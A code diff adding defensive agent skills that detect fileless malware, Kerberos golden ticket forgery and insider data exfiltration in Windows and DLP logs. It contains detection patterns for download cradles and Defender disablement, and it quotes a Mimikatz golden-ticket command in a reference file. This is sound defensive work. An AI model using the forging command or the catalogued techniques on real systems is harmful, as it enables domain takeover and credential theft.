(r'IEX\s*\(', "Invoke-Expression (download cradle)"), + (r'Invoke-Expression', "Invoke-Expression"), + (r'Net\.WebClient', "WebClient download"), + (r'DownloadString\(', "Remote script download"), + (r'DownloadFile\(', "File download"), + (r'FromBase64String', "Base64 decoding"), + (r'Reflection\.Assembly', ".NET reflection loading"), + (r'\[System\.Convert\]', "Type conversion (possible decode)"), + (r'New-Object\s+IO\.MemoryStream', "In-memory stream (reflective load)"), + (r'VirtualAlloc', "Memory allocation (shellcode)"), + (r'CreateThread', "Thread creation (injection)"), + (r'Add-MpPreference.*ExclusionPath', "Defender exclusion modification"), + (r'Set-MpPreference.*DisableRealtimeMonitoring', "Defender disablement"), +] + + +def scan_powershell_logs(log_dir=None): + """Scan PowerShell script block logs for suspicious patterns.""" + if not log_dir: + log_dir = r"C:\Windows\System32\winevt\Logs" + + ps_log = os.path.join(log_dir, "Microsoft-Windows-PowerShell%4Operational.evtx") + if not os.path.exists(ps_log) or not HAS_EVTX: + return {"error": "PowerShell log not found or python-evtx not installed"} + + alerts = [] + with evtx.Evtx(ps_log) as log: + for record in log.records(): + try: + xml = record.xml() + if "4104" not in xml: + continue + for pattern, desc in SUSPICIOUS_PS_PATTERNS: + if re.search(pattern, xml, re.IGNORECASE): + alerts.append({ + "event_id": 4104, + "timestamp": record.timestamp().isoformat(), + "detection": desc, + "snippet": xml[:500], + }) + break + except Exception: + continue + + return {"log_file": ps_log, "suspicious_events": len(alerts), "alerts": alerts[:50]} + + +def scan_sysmon_for_lolbins(log_dir=None): + """Scan Sysmon logs for LOLBin process creation events.""" + if not log_dir: + log_dir = r"C:\Windows\System32\winevt\Logs" + + sysmon_log = os.path.join(log_dir, "Microsoft-Windows-Sysmon%4Operational.evtx") + if not os.path.exists(sysmon_log) or not HAS_EVTX: + return {"error": "Sysmon log not found or python-evtx not installed"} + + detections = [] + with evtx.Evtx(sysmon_log) as log: + for record in log.records(): + try: + xml = record.xml() + if "1" not in xml: + continue + for lolbin, info in LOLBINS.items(): + if lolbin.lower() in xml.lower(): + detections.append({ + "timestamp": record.timestamp().isoformat(), + "lolbin": lolbin, + "risk": info["risk"], + "known_abuse": info["usage"], + "snippet": xml[:500], + }) + break + except Exception: + continue + + return {"log_file": sysmon_log, "lolbin_detections": len(detections), "detections": detections[:50]} + + +def scan_wmi_persistence(): + """Detect WMI event subscription persistence mechanisms.""" + cmd = [ + "powershell", "-Command", + "Get-WMIObject -Namespace root\\Subscription -Class __EventFilter | " + "Select-Object Name, Query | ConvertTo-Json" + ] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=15) + if result.returncode == 0 and result.stdout.strip(): + filters = json.loads(result.stdout) + if not isinstance(filters, list): + filters = [filters] + return {"wmi_event_filters": filters, "count": len(filters)} + return {"wmi_event_filters": [], "count": 0} + except Exception as e: + return {"error": str(e)} + + +def scan_registry_run_keys(): + """Check registry Run keys for suspicious persistence entries.""" + keys_to_check = [ + r"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", + r"HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", + r"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce", + ] + results = [] + for key in keys_to_check: + cmd = ["reg", "query", key] + try: + r = subprocess.run(cmd, capture_output=True, text=True, timeout=10) + if r.returncode == 0: + for line in r.stdout.strip().splitlines(): + line = line.strip() + if line and not line.startswith("HKEY"): + for lolbin in LOLBINS: + if lolbin.lower() in line.lower(): + results.append({ + "key": key, + "entry": line, + "lolbin_detected": lolbin, + "risk": "HIGH", + }) + except Exception: + continue + return {"registry_persistence": results, "count": len(results)} + + +def run_volatility_malfind(memory_dump): + """Run Volatility malfind to detect injected code in memory.""" + if not os.path.exists(memory_dump): + return {"error": f"Memory dump not found: {memory_dump}"} + cmd = ["vol3", "-f", memory_dump, "windows.malfind"] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=300) + return {"output": result.stdout.strip(), "exit_code": result.returncode} + except FileNotFoundError: + return {"error": "Volatility 3 (vol3) not installed"} + except subprocess.TimeoutExpired: + return {"error": "Volatility analysis timed out"} + + +def generate_report(): + """Generate fileless malware detection report.""" + return { + "timestamp": datetime.utcnow().isoformat() + "Z", + "powershell_scan": scan_powershell_logs(), + "lolbin_scan": scan_sysmon_for_lolbins(), + "wmi_persistence": scan_wmi_persistence(), + "registry_persistence": scan_registry_run_keys(), + } + + +if __name__ == "__main__": + action = sys.argv[1] if len(sys.argv) > 1 else "report" + if action == "report": + print(json.dumps(generate_report(), indent=2, default=str)) + elif action == "powershell": + log_dir = sys.argv[2] if len(sys.argv) > 2 else None + print(json.dumps(scan_powershell_logs(log_dir), indent=2, default=str)) + elif action == "lolbins": + print(json.dumps(scan_sysmon_for_lolbins(), indent=2, default=str)) + elif action == "wmi": + print(json.dumps(scan_wmi_persistence(), indent=2)) + elif action == "registry": + print(json.dumps(scan_registry_run_keys(), indent=2)) + elif action == "malfind" and len(sys.argv) > 2: + print(json.dumps(run_volatility_malfind(sys.argv[2]), indent=2)) + else: + print("Usage: agent.py [report|powershell [log_dir]|lolbins|wmi|registry|malfind ]") diff --git a/skills/detecting-golden-ticket-attacks-in-kerberos-logs/LICENSE b/skills/detecting-golden-ticket-attacks-in-kerberos-logs/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-golden-ticket-attacks-in-kerberos-logs/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-golden-ticket-attacks-in-kerberos-logs/references/api-reference.md b/skills/detecting-golden-ticket-attacks-in-kerberos-logs/references/api-reference.md new file mode 100644 index 00000000..35c3e988 --- /dev/null +++ b/skills/detecting-golden-ticket-attacks-in-kerberos-logs/references/api-reference.md @@ -0,0 +1,64 @@ +# API Reference: Detecting Golden Ticket Attacks in Kerberos Logs + +## Key Windows Event IDs + +| Event ID | Description | Golden Ticket Signal | +|----------|-------------|---------------------| +| 4768 | TGT Requested (AS-REQ) | RC4 encryption, anomalous domain | +| 4769 | TGS Requested (TGS-REQ) | No prior 4768, forged TGT | +| 4771 | Kerberos Pre-Auth Failed | Non-existent account (0x6) | + +## Kerberos Encryption Types + +| Code | Algorithm | Suspicion | +|------|-----------|-----------| +| 0x11 | AES128-CTS | Normal (modern) | +| 0x12 | AES256-CTS | Normal (preferred) | +| 0x17 | RC4-HMAC | Suspicious (Mimikatz default) | +| 0x18 | RC4-HMAC-EXP | Suspicious | + +## python-evtx Usage + +```python +import Evtx.Evtx as evtx +with evtx.Evtx("Security.evtx") as log: + for record in log.records(): + xml = record.xml() + # Parse Events 4768, 4769, 4771 + # Check TicketEncryptionType, TargetUserName +``` + +## Splunk SPL Detection + +```spl +index=wineventlog EventCode=4769 +| join type=left TargetUserName [ + search index=wineventlog EventCode=4768 + | rename TargetUserName as tgt_user +] +| where isnull(tgt_user) +| table _time TargetUserName ServiceName IpAddress Computer +``` + +## KQL (Microsoft Sentinel) + +```kql +SecurityEvent +| where EventID == 4768 +| where TicketEncryptionType in ("0x17", "0x18") +| where TargetUserName !endswith "$" +| project TimeGenerated, TargetUserName, IpAddress, TicketEncryptionType +``` + +## Mimikatz Golden Ticket Command + +``` +kerberos::golden /user:admin /domain:corp.local /sid:S-1-5-21-... /krbtgt:hash /ptt +``` + +## CLI Usage + +```bash +python agent.py --security-log Security.evtx --domain corp.local +python agent.py --generate-sigma +``` diff --git a/skills/detecting-golden-ticket-attacks-in-kerberos-logs/scripts/agent.py b/skills/detecting-golden-ticket-attacks-in-kerberos-logs/scripts/agent.py new file mode 100644 index 00000000..8f27a5c3 --- /dev/null +++ b/skills/detecting-golden-ticket-attacks-in-kerberos-logs/scripts/agent.py @@ -0,0 +1,158 @@ +#!/usr/bin/env python3 +"""Golden Ticket attack detection agent for Kerberos log analysis. + +Parses Windows Security Event IDs 4768, 4769, 4771 to detect forged TGTs +with anomalous encryption types, impossible lifetimes, and non-existent accounts. +""" + +import argparse +import json +import re +import sys +from datetime import datetime + +try: + import Evtx.Evtx as evtx +except ImportError: + evtx = None + +ENCRYPTION_TYPES = { + "0x1": "DES-CBC-CRC", "0x3": "DES-CBC-MD5", + "0x11": "AES128-CTS", "0x12": "AES256-CTS", + "0x17": "RC4-HMAC", "0x18": "RC4-HMAC-EXP", +} + +GOLDEN_TICKET_INDICATORS = { + "rc4_encryption": {"desc": "RC4 encryption used (0x17) instead of AES", + "severity": "HIGH", "mitre": "T1558.001"}, + "impossible_lifetime": {"desc": "TGT lifetime exceeds policy maximum", + "severity": "CRITICAL", "mitre": "T1558.001"}, + "non_existent_account": {"desc": "TGS request for non-existent account", + "severity": "CRITICAL", "mitre": "T1558.001"}, + "no_tgt_request": {"desc": "TGS (4769) without prior TGT (4768)", + "severity": "HIGH", "mitre": "T1558.001"}, + "domain_field_mismatch": {"desc": "Domain field differs from environment", + "severity": "HIGH", "mitre": "T1558.001"}, +} + +MAX_TGT_LIFETIME_HOURS = 10 +EXPECTED_DOMAIN = "" + + +def parse_kerberos_events(filepath): + if evtx is None: + return {"error": "python-evtx not installed: pip install python-evtx"} + + tgt_requests = {} + tgs_requests = [] + findings = [] + + with evtx.Evtx(filepath) as log: + for record in log.records(): + xml = record.xml() + event_id_match = re.search(r']*>(\d+)', xml) + if not event_id_match: + continue + event_id = int(event_id_match.group(1)) + time_match = re.search(r'SystemTime="([^"]+)"', xml) + timestamp = time_match.group(1) if time_match else "" + + if event_id == 4768: + user = re.search(r'([^<]+)', xml) + domain = re.search(r'([^<]+)', xml) + ticket_enc = re.search(r'([^<]+)', xml) + client_addr = re.search(r'([^<]+)', xml) + status = re.search(r'([^<]+)', xml) + + username = user.group(1) if user else "" + enc_type = ticket_enc.group(1) if ticket_enc else "" + + if username and not username.endswith("$"): + tgt_requests[username.lower()] = timestamp + + if enc_type.lower() in ("0x17", "0x18"): + findings.append({ + "event_id": 4768, "timestamp": timestamp, + "user": username, + "encryption_type": ENCRYPTION_TYPES.get(enc_type.lower(), enc_type), + "indicator": "rc4_encryption", + **GOLDEN_TICKET_INDICATORS["rc4_encryption"], + }) + + elif event_id == 4769: + user = re.search(r'([^<]+)', xml) + service = re.search(r'([^<]+)', xml) + ticket_enc = re.search(r'([^<]+)', xml) + client_addr = re.search(r'([^<]+)', xml) + + username = user.group(1) if user else "" + base_user = username.split("@")[0].lower() if "@" in username else username.lower() + + if base_user and base_user not in tgt_requests and not base_user.endswith("$"): + findings.append({ + "event_id": 4769, "timestamp": timestamp, + "user": username, + "service": service.group(1) if service else "", + "indicator": "no_tgt_request", + **GOLDEN_TICKET_INDICATORS["no_tgt_request"], + }) + + elif event_id == 4771: + user = re.search(r'([^<]+)', xml) + failure = re.search(r'([^<]+)', xml) + status_code = failure.group(1) if failure else "" + if status_code == "0x6": + findings.append({ + "event_id": 4771, "timestamp": timestamp, + "user": user.group(1) if user else "", + "status": "KDC_ERR_C_PRINCIPAL_UNKNOWN", + "indicator": "non_existent_account", + **GOLDEN_TICKET_INDICATORS["non_existent_account"], + }) + + return {"tgt_requests": len(tgt_requests), "findings": findings} + + +def generate_sigma_rule(): + return { + "title": "Golden Ticket - TGS Without Prior TGT", + "status": "stable", + "logsource": {"product": "windows", "service": "security"}, + "detection": { + "tgs": {"EventID": 4769}, + "tgt": {"EventID": 4768}, + "condition": "tgs and not tgt", + }, + "level": "high", + "tags": ["attack.credential_access", "attack.t1558.001"], + } + + +def main(): + parser = argparse.ArgumentParser(description="Golden Ticket Attack Detector") + parser.add_argument("--security-log", help="Windows Security EVTX file") + parser.add_argument("--domain", default="", help="Expected AD domain name") + parser.add_argument("--generate-sigma", action="store_true") + args = parser.parse_args() + + global EXPECTED_DOMAIN + EXPECTED_DOMAIN = args.domain + + results = {"timestamp": datetime.utcnow().isoformat() + "Z"} + + if args.security_log: + parsed = parse_kerberos_events(args.security_log) + if isinstance(parsed, dict) and "error" in parsed: + results["error"] = parsed["error"] + else: + results.update(parsed) + results["total_findings"] = len(parsed.get("findings", [])) + + if args.generate_sigma: + results["sigma_rule"] = generate_sigma_rule() + + print(json.dumps(results, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/detecting-golden-ticket-attacks/LICENSE b/skills/detecting-golden-ticket-attacks/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-golden-ticket-attacks/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-golden-ticket-attacks/SKILL.md b/skills/detecting-golden-ticket-attacks/SKILL.md new file mode 100644 index 00000000..3e753df8 --- /dev/null +++ b/skills/detecting-golden-ticket-attacks/SKILL.md @@ -0,0 +1,35 @@ +--- +name: detecting-golden-ticket-attacks +description: >- + Detect Kerberos golden ticket attacks by analyzing Windows Security event logs for anomalous + TGT usage patterns. Parses Event IDs 4624, 4672, and 4768 from EVTX files to identify tickets + with abnormal lifetimes, domain SID mismatches, and privilege escalation sequences where + non-admin accounts receive admin-level privileges without corresponding group membership changes. +--- + +## Instructions + +1. Install dependencies: `pip install python-evtx lxml` +2. Collect Windows Security EVTX logs from domain controllers. +3. Parse Event IDs: + - 4768: Kerberos TGT requests (authentication service requests) + - 4624: Logon events (look for LogonType 3 with NTLM or Kerberos) + - 4672: Special privileges assigned (admin logon indicators) +4. Detect golden ticket indicators: + - TGT with lifetime >10 hours (default max is 10h) + - Event 4672 for accounts not in Domain Admins + - Logon events with no corresponding 4768 TGT request + - Domain SID inconsistencies in ticket data +5. Generate detection report with timeline reconstruction. + +```bash +python scripts/agent.py --evtx-file /path/to/Security.evtx --output golden_ticket_report.json +``` + +## Examples + +### Detect Anomalous Privilege Assignment +Event 4672 for a standard user account receiving SeDebugPrivilege, SeTcbPrivilege, or SeBackupPrivilege indicates potential golden ticket usage. + +### TGT Without Corresponding AS-REQ +A logon event (4624) with Kerberos authentication but no matching 4768 (TGT request) on the DC suggests a forged TGT. diff --git a/skills/detecting-golden-ticket-attacks/references/api-reference.md b/skills/detecting-golden-ticket-attacks/references/api-reference.md new file mode 100644 index 00000000..0bcf095a --- /dev/null +++ b/skills/detecting-golden-ticket-attacks/references/api-reference.md @@ -0,0 +1,50 @@ +# API Reference: Detecting Golden Ticket Attacks + +## python-evtx Library +```python +from Evtx.Evtx import FileHeader +with open("Security.evtx", "rb") as f: + fh = FileHeader(f) + for record in fh.records(): + xml_string = record.xml() +``` + +## Key Event IDs + +### Event 4768 - Kerberos TGT Request (AS-REQ) +```xml +admin_user +CORP.LOCAL +0x12 +15 +::ffff:10.0.0.50 +``` + +### Event 4624 - Logon Event +```xml +user +3 +Kerberos +10.0.0.50 +WKS01 +``` + +### Event 4672 - Special Privileges Assigned +```xml +user +CORP +SeDebugPrivilege SeTcbPrivilege +``` + +## Golden Ticket Detection Indicators +| Indicator | Evidence | +|-----------|----------| +| Orphan logon | 4624 Kerberos logon with no 4768 TGT request | +| Privilege anomaly | 4672 admin privs for non-admin account | +| Abnormal TGT lifetime | TGT valid >10 hours (default max) | +| RC4 TGT majority | >50% of TGTs using 0x17 encryption | +| Domain SID mismatch | TGT domain SID differs from DC | + +## MITRE ATT&CK +- T1558.001 - Golden Ticket +- T1550 - Use Alternate Authentication Material diff --git a/skills/detecting-golden-ticket-attacks/scripts/agent.py b/skills/detecting-golden-ticket-attacks/scripts/agent.py new file mode 100644 index 00000000..85344052 --- /dev/null +++ b/skills/detecting-golden-ticket-attacks/scripts/agent.py @@ -0,0 +1,185 @@ +#!/usr/bin/env python3 +"""Golden Ticket Detection Agent - Detects forged Kerberos TGTs via Event 4624/4672/4768 analysis.""" + +import json +import logging +import argparse +from collections import defaultdict +from datetime import datetime + +from Evtx.Evtx import FileHeader +from lxml import etree + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + +NS = {"evt": "http://schemas.microsoft.com/win/2004/08/events/event"} + +ADMIN_PRIVILEGES = [ + "SeDebugPrivilege", "SeTcbPrivilege", "SeBackupPrivilege", + "SeRestorePrivilege", "SeTakeOwnershipPrivilege", "SeLoadDriverPrivilege", + "SeImpersonatePrivilege", "SeAssignPrimaryTokenPrivilege", +] + + +def parse_event_data(root): + """Extract EventData fields from an EVTX XML record.""" + data = {} + for elem in root.findall(".//evt:EventData/evt:Data", NS): + data[elem.get("Name", "")] = elem.text or "" + time_elem = root.find(".//evt:System/evt:TimeCreated", NS) + data["_timestamp"] = time_elem.get("SystemTime", "") if time_elem is not None else "" + return data + + +def parse_security_events(evtx_path): + """Parse Event IDs 4624, 4672, and 4768 from Security EVTX.""" + events = {"4624": [], "4672": [], "4768": []} + target_ids = {"4624", "4672", "4768"} + with open(evtx_path, "rb") as f: + fh = FileHeader(f) + for record in fh.records(): + try: + xml = record.xml() + root = etree.fromstring(xml.encode("utf-8")) + eid_elem = root.find(".//evt:System/evt:EventID", NS) + if eid_elem is None or eid_elem.text not in target_ids: + continue + data = parse_event_data(root) + events[eid_elem.text].append(data) + except Exception: + continue + for eid, evts in events.items(): + logger.info("Parsed %d events for Event ID %s", len(evts), eid) + return events + + +def detect_orphan_logons(events): + """Detect Kerberos logons (4624) with no corresponding TGT request (4768).""" + tgt_accounts = {e.get("TargetUserName", "").lower() for e in events["4768"]} + orphan_logons = [] + for logon in events["4624"]: + if logon.get("AuthenticationPackageName", "") == "Kerberos": + account = logon.get("TargetUserName", "").lower() + if account and account not in tgt_accounts and not account.endswith("$"): + orphan_logons.append({ + "timestamp": logon["_timestamp"], + "account": logon.get("TargetUserName", ""), + "source_ip": logon.get("IpAddress", ""), + "logon_type": logon.get("LogonType", ""), + "workstation": logon.get("WorkstationName", ""), + "indicator": "Kerberos logon without TGT request (possible golden ticket)", + }) + logger.info("Found %d orphan Kerberos logons", len(orphan_logons)) + return orphan_logons + + +def detect_anomalous_privileges(events, known_admins=None): + """Detect non-admin accounts receiving admin privileges (Event 4672).""" + if known_admins is None: + known_admins = set() + anomalous = [] + for priv_event in events["4672"]: + account = priv_event.get("SubjectUserName", "") + privileges = priv_event.get("PrivilegeList", "") + if account.lower() not in known_admins and not account.endswith("$"): + admin_privs = [p for p in ADMIN_PRIVILEGES if p in privileges] + if admin_privs: + anomalous.append({ + "timestamp": priv_event["_timestamp"], + "account": account, + "domain": priv_event.get("SubjectDomainName", ""), + "admin_privileges": admin_privs, + "indicator": "Non-admin account with admin privileges (golden ticket indicator)", + }) + logger.info("Found %d anomalous privilege assignments", len(anomalous)) + return anomalous + + +def detect_abnormal_tgt_patterns(events): + """Detect TGT requests with abnormal encryption types or patterns.""" + account_tgts = defaultdict(list) + for tgt in events["4768"]: + account = tgt.get("TargetUserName", "") + account_tgts[account].append(tgt) + anomalies = [] + for account, tgts in account_tgts.items(): + if account.endswith("$"): + continue + rc4_tgts = [t for t in tgts if t.get("TicketEncryptionType", "") in ("0x17", "0x18")] + if rc4_tgts and len(rc4_tgts) > len(tgts) * 0.5: + anomalies.append({ + "account": account, + "total_tgts": len(tgts), + "rc4_tgts": len(rc4_tgts), + "indicator": "Majority RC4 TGT requests (possible ticket forging)", + }) + logger.info("Found %d accounts with abnormal TGT patterns", len(anomalies)) + return anomalies + + +def detect_logon_privilege_correlation(events): + """Correlate logon events with privilege assignments for timeline analysis.""" + priv_accounts = defaultdict(list) + for priv in events["4672"]: + account = priv.get("SubjectUserName", "").lower() + priv_accounts[account].append(priv["_timestamp"]) + logon_accounts = defaultdict(list) + for logon in events["4624"]: + account = logon.get("TargetUserName", "").lower() + logon_accounts[account].append({ + "timestamp": logon["_timestamp"], + "source_ip": logon.get("IpAddress", ""), + "logon_type": logon.get("LogonType", ""), + }) + correlations = [] + for account in priv_accounts: + if account in logon_accounts and not account.endswith("$"): + correlations.append({ + "account": account, + "privilege_events": len(priv_accounts[account]), + "logon_events": len(logon_accounts[account]), + "source_ips": list({l["source_ip"] for l in logon_accounts[account]}), + }) + return correlations + + +def generate_report(orphan_logons, priv_anomalies, tgt_anomalies, correlations): + """Generate golden ticket detection report.""" + total = len(orphan_logons) + len(priv_anomalies) + len(tgt_anomalies) + severity = "Critical" if orphan_logons and priv_anomalies else "High" if total > 0 else "Low" + report = { + "timestamp": datetime.utcnow().isoformat(), + "severity": severity, + "orphan_kerberos_logons": orphan_logons[:20], + "anomalous_privilege_assignments": priv_anomalies[:20], + "abnormal_tgt_patterns": tgt_anomalies, + "logon_privilege_correlations": correlations[:20], + "total_indicators": total, + } + print(f"GOLDEN TICKET DETECTION: {total} indicators, Severity: {severity}") + return report + + +def main(): + parser = argparse.ArgumentParser(description="Golden Ticket Detection Agent") + parser.add_argument("--evtx-file", required=True, help="Path to Security EVTX file") + parser.add_argument("--known-admins", nargs="*", default=[], help="Known admin account names") + parser.add_argument("--output", default="golden_ticket_report.json") + args = parser.parse_args() + + events = parse_security_events(args.evtx_file) + known_admins = {a.lower() for a in args.known_admins} + orphan_logons = detect_orphan_logons(events) + priv_anomalies = detect_anomalous_privileges(events, known_admins) + tgt_anomalies = detect_abnormal_tgt_patterns(events) + correlations = detect_logon_privilege_correlation(events) + + report = generate_report(orphan_logons, priv_anomalies, tgt_anomalies, correlations) + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + logger.info("Report saved to %s", args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/detecting-insider-data-exfiltration-via-dlp/LICENSE b/skills/detecting-insider-data-exfiltration-via-dlp/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-insider-data-exfiltration-via-dlp/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-insider-data-exfiltration-via-dlp/SKILL.md b/skills/detecting-insider-data-exfiltration-via-dlp/SKILL.md new file mode 100644 index 00000000..5944112b --- /dev/null +++ b/skills/detecting-insider-data-exfiltration-via-dlp/SKILL.md @@ -0,0 +1,45 @@ +--- +name: detecting-insider-data-exfiltration-via-dlp +description: > + Detects insider data exfiltration by analyzing DLP policy violations, file access + patterns, upload volume anomalies, and off-hours activity in endpoint and cloud logs. + Uses pandas for behavioral analytics and statistical baselines. Use when investigating + insider threats or building user behavior analytics for data loss prevention. +--- + +# Detecting Insider Data Exfiltration via DLP + +## Instructions + +Analyze endpoint activity logs, cloud storage access, and email DLP events to detect +data exfiltration patterns using behavioral baselines and statistical anomaly detection. + +```python +import pandas as pd + +df = pd.read_csv("file_activity.csv", parse_dates=["timestamp"]) +# Baseline: average daily upload volume per user +baseline = df.groupby(["user", df["timestamp"].dt.date])["bytes_transferred"].sum() +user_avg = baseline.groupby("user").mean() + +# Alert on users exceeding 3x their baseline +today = df[df["timestamp"].dt.date == pd.Timestamp.today().date()] +today_totals = today.groupby("user")["bytes_transferred"].sum() +anomalies = today_totals[today_totals > user_avg * 3] +``` + +Key indicators: +1. Upload volume exceeding 3x daily baseline +2. Access to files outside normal scope +3. Bulk downloads before resignation +4. Off-hours file access patterns +5. USB/external device usage spikes + +## Examples + +```python +# Detect off-hours activity +df["hour"] = df["timestamp"].dt.hour +off_hours = df[(df["hour"] < 6) | (df["hour"] > 22)] +suspicious = off_hours.groupby("user").size().sort_values(ascending=False) +``` diff --git a/skills/detecting-insider-data-exfiltration-via-dlp/references/api-reference.md b/skills/detecting-insider-data-exfiltration-via-dlp/references/api-reference.md new file mode 100644 index 00000000..3ac7978d --- /dev/null +++ b/skills/detecting-insider-data-exfiltration-via-dlp/references/api-reference.md @@ -0,0 +1,60 @@ +# API Reference: Detecting Insider Data Exfiltration via DLP + +## Pandas Behavioral Analytics + +```python +import pandas as pd + +df = pd.read_csv("activity.csv", parse_dates=["timestamp"]) +# Columns: timestamp, user, action, file_path, bytes_transferred, destination + +# Daily volume baseline per user +daily = df.groupby(["user", df["timestamp"].dt.date])["bytes_transferred"].sum() +baseline = daily.groupby("user").agg(["mean", "std"]) + +# Off-hours detection +df["hour"] = df["timestamp"].dt.hour +off_hours = df[(df["hour"] < 6) | (df["hour"] >= 22)] + +# Bulk download detection +df.set_index("timestamp").groupby("user").resample("1h").size() +``` + +## Exfiltration Indicators + +| Indicator | Threshold | Severity | +|-----------|-----------|----------| +| Volume > 3x baseline | Per user daily avg | HIGH | +| Volume > 5x baseline | Per user daily avg | CRITICAL | +| Off-hours events | > 10 per user | HIGH | +| Bulk downloads | > 50 files/hour | CRITICAL | +| USB transfers | Any volume | HIGH | +| Sensitive file access | Pattern match | HIGH | + +## Sensitive File Patterns + +```python +patterns = [ + r"\.pem$", r"\.key$", r"\.env$", + r"credentials", r"password", r"\.kdbx$", + r"financial", r"payroll", r"customer.*data" +] +``` + +## Microsoft Purview DLP API + +```python +import requests +headers = {"Authorization": "Bearer "} +resp = requests.get( + "https://graph.microsoft.com/v1.0/security/alerts_v2", + headers=headers, + params={"$filter": "category eq 'DataLossPrevention'"} +) +``` + +### References + +- Microsoft Purview DLP: https://learn.microsoft.com/en-us/purview/dlp-learn-about-dlp +- pandas: https://pandas.pydata.org/docs/ +- UEBA: https://www.gartner.com/en/information-technology/glossary/user-entity-behavior-analytics diff --git a/skills/detecting-insider-data-exfiltration-via-dlp/scripts/agent.py b/skills/detecting-insider-data-exfiltration-via-dlp/scripts/agent.py new file mode 100644 index 00000000..a6d382c8 --- /dev/null +++ b/skills/detecting-insider-data-exfiltration-via-dlp/scripts/agent.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python3 +"""Agent for detecting insider data exfiltration via DLP analysis.""" + +import os +import json +import argparse +from datetime import datetime + +import pandas as pd +import numpy as np + + +def load_activity_logs(log_path): + """Load file/cloud activity logs.""" + if log_path.endswith(".csv"): + return pd.read_csv(log_path, parse_dates=["timestamp"]) + return pd.read_json(log_path, lines=True) + + +def detect_volume_anomalies(df, multiplier=3.0): + """Detect users with data transfer volume exceeding baseline.""" + df["date"] = df["timestamp"].dt.date + daily_volume = df.groupby(["user", "date"])["bytes_transferred"].sum().reset_index() + user_baseline = daily_volume.groupby("user")["bytes_transferred"].agg( + ["mean", "std"]).reset_index() + user_baseline.columns = ["user", "avg_bytes", "std_bytes"] + latest_date = df["date"].max() + latest_day = daily_volume[daily_volume["date"] == latest_date] + merged = latest_day.merge(user_baseline, on="user") + threshold = merged["avg_bytes"] + (multiplier * merged["std_bytes"].fillna(0)) + anomalies = merged[merged["bytes_transferred"] > threshold] + findings = [] + for _, row in anomalies.iterrows(): + findings.append({ + "user": row["user"], + "today_bytes": int(row["bytes_transferred"]), + "avg_bytes": int(row["avg_bytes"]), + "multiplier": round(row["bytes_transferred"] / max(row["avg_bytes"], 1), 1), + "severity": "CRITICAL" if row["bytes_transferred"] > row["avg_bytes"] * 5 else "HIGH", + }) + return sorted(findings, key=lambda x: x["multiplier"], reverse=True) + + +def 